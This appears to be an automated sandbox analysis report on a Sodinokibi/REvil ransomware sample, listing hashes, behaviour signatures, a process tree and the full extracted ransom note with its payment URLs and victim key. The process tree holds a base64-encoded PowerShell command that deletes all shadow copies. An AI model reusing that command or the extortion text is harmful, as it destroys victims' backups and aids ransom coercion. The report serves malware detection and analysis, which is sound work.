Resubmissions

23/08/2021, 11:20

210823-t1dtqdz8re10

23/08/2021, 11:07

210823-hc4vgt17ej10

15/07/2021, 18:16

210715-yseshdmscj10

Analysis

  • max time kernel
    142s
  • max time network
    155s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    15/07/2021, 18:16

General

  • Target
    0e37d9d0a7441a98119eb1361a0605042c4db0e8369b54ba26e6ba08d9b62f1e.exe
  • Size 164KB
  • Sample210715-yseshdmscj
  • SHA256 0e37d9d0a7441a98119eb1361a0605042c4db0e8369b54ba26e6ba08d9b62f1e
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Path
  • C:\7k8p950bqm_Wannadie.txt

  • sodinokibi

Ransom Note
  • ---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your computer has extension 7k8p950bqm. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/731FD902B6FACA31 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.top/731FD902B6FACA31 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: 3TLM8WOO2iL8Ujqmpx6MaLnAxkZVgitpmKgHwr9ux9G61kETsSpqO5sC3AKH2b97 PKCs7Znpxgi4piz3NSQn2aDlFJ/aTNPGlgSvs0A/yVAR1fWrZeL2xQfysxA7/Smk SJ5eNIxe5dtUZoEJJeIyib/o1+sphkAQqde3MNQbDyWf6r6A5caApeBkAn5ADw3E WuoFtRJEc2wTYmh3yfDxqLoKfOKywIi7lPo2cLXKVIn4o10KBAAGrAzEzgmco8H0 D6X3AgiBXsIZP/483p8asivgxZNKutzOl5LkhRTDyaJ4uRaRm42Ylbtb7RJfq5Hd PlV4Zxl3rFP/2E2AfcIriTYeAEQNaSCt3lzv7d9hD/JwqqU1P6lzE4FiCLX6S9gq sBgJoe4LNY5SQD+eh/Eu3zbTuhuFei6eZZNCQ3qaxiCOuVV67LvuH2ceFy9mZwQQ qqvM/Kygb/wTwUrGJKosmdNQnnJPzgBE1WzPy7tDs9BdmdR2Qw0KAdrbn2286pgd Oar/iNBKPp3zJLY6cV1P62l1lfU1PqE1VmFDbeQkFFvvi3N9Nc5ixiUE5Xq9nf20 grO6yd+3nbFYvEwKIDotIdrk0PtAt0ms9Au53LXJQGlR9YjUZW0tpChlqUFQcp6N +NGBC4K7TUbMs9Hv9I2ITHj7Te3jhijZs2CAXwOjU3gtKeSxCFK/sMKtwzeI/A5l XMWH+iQuqqsULsNIE74Y8LLI0H0I5DBivIV9vCcHsI2x+7kzFHRqtLfjWWPGBRZf k92v/+StkZfufzX77OeUypj1yjXKTNvvWTKEHKWamtaGsKzUFVATNRoeU+/Gzbj8 PdBCEolAirQiNE+wtFnZM3QEmNr3qJAGdCVpy6HOPg4ynnf3dgC/xCAV0upz0etq gTP+qw36nCRKfFxR1tJOuPWFoUVgKcCmyFtiW6Ag2KA43AmOMwGi2j5xpDy2+mln ryDH9LduNy/qG5zpea3vuZVIzUp36J9sA50FXUhdmPJIfPC4ArtFKC44jYtpApiK 0Z5bQLJGD1t2ZVCm5MWEjmCP89UsAGYcyz8KwxU8Na25iHACG03Frzw/9tg/vFJq GLYM+4jU2rB9OpPUbcJlgd8uKcaRZ2XDVmyfLX1PHHfDuaYI7XSFPRDQo/aZfCLg QRRUxg== Extension name: 7k8p950bqm ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs
  • http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/731FD902B6FACA31

  • http://decryptor.top/731FD902B6FACA31

Signatures

  • Sodin,Sodinokibi,REvil

    Ransomware with advanced anti-analysis and privilege escalation functionality.

  • Modifies extensions of user files 14 IoCs

    Ransomware generally changes the extension on encrypted files.

  • Enumerates connected drives 3 TTPs 25 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 1 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Program Files directory 35 IoCs
  • Modifies data under HKEY_USERS 42 IoCs
  • Suspicious behavior: EnumeratesProcesses 15 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\0e37d9d0a7441a98119eb1361a0605042c4db0e8369b54ba26e6ba08d9b62f1e.exe
    "C:\Users\Admin\AppData\Local\Temp\0e37d9d0a7441a98119eb1361a0605042c4db0e8369b54ba26e6ba08d9b62f1e.exe"
    1⤵
    • Modifies extensions of user files
    • Enumerates connected drives
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:664
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
      2⤵
      • Drops file in System32 directory
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:712
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:420
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2236

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

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          Downloads

          memory/664-114-0x0000000000E50000-0x0000000000E5A000-memory.dmp

          memory/664-115-0x00000000013F0000-0x00000000013F1000-memory.dmp

          memory/664-116-0x0000000001400000-0x0000000001401000-memory.dmp

          memory/664-117-0x0000000002B70000-0x0000000002B71000-memory.dmp

          memory/664-118-0x0000000002B80000-0x0000000002B86000-memory.dmp

          memory/712-124-0x000002950AE00000-0x000002950AE01000-memory.dmp

          memory/712-128-0x0000029523690000-0x0000029523691000-memory.dmp

          memory/712-127-0x0000029509550000-0x0000029509552000-memory.dmp

          memory/712-129-0x0000029509553000-0x0000029509555000-memory.dmp

          memory/712-139-0x0000029509556000-0x0000029509558000-memory.dmp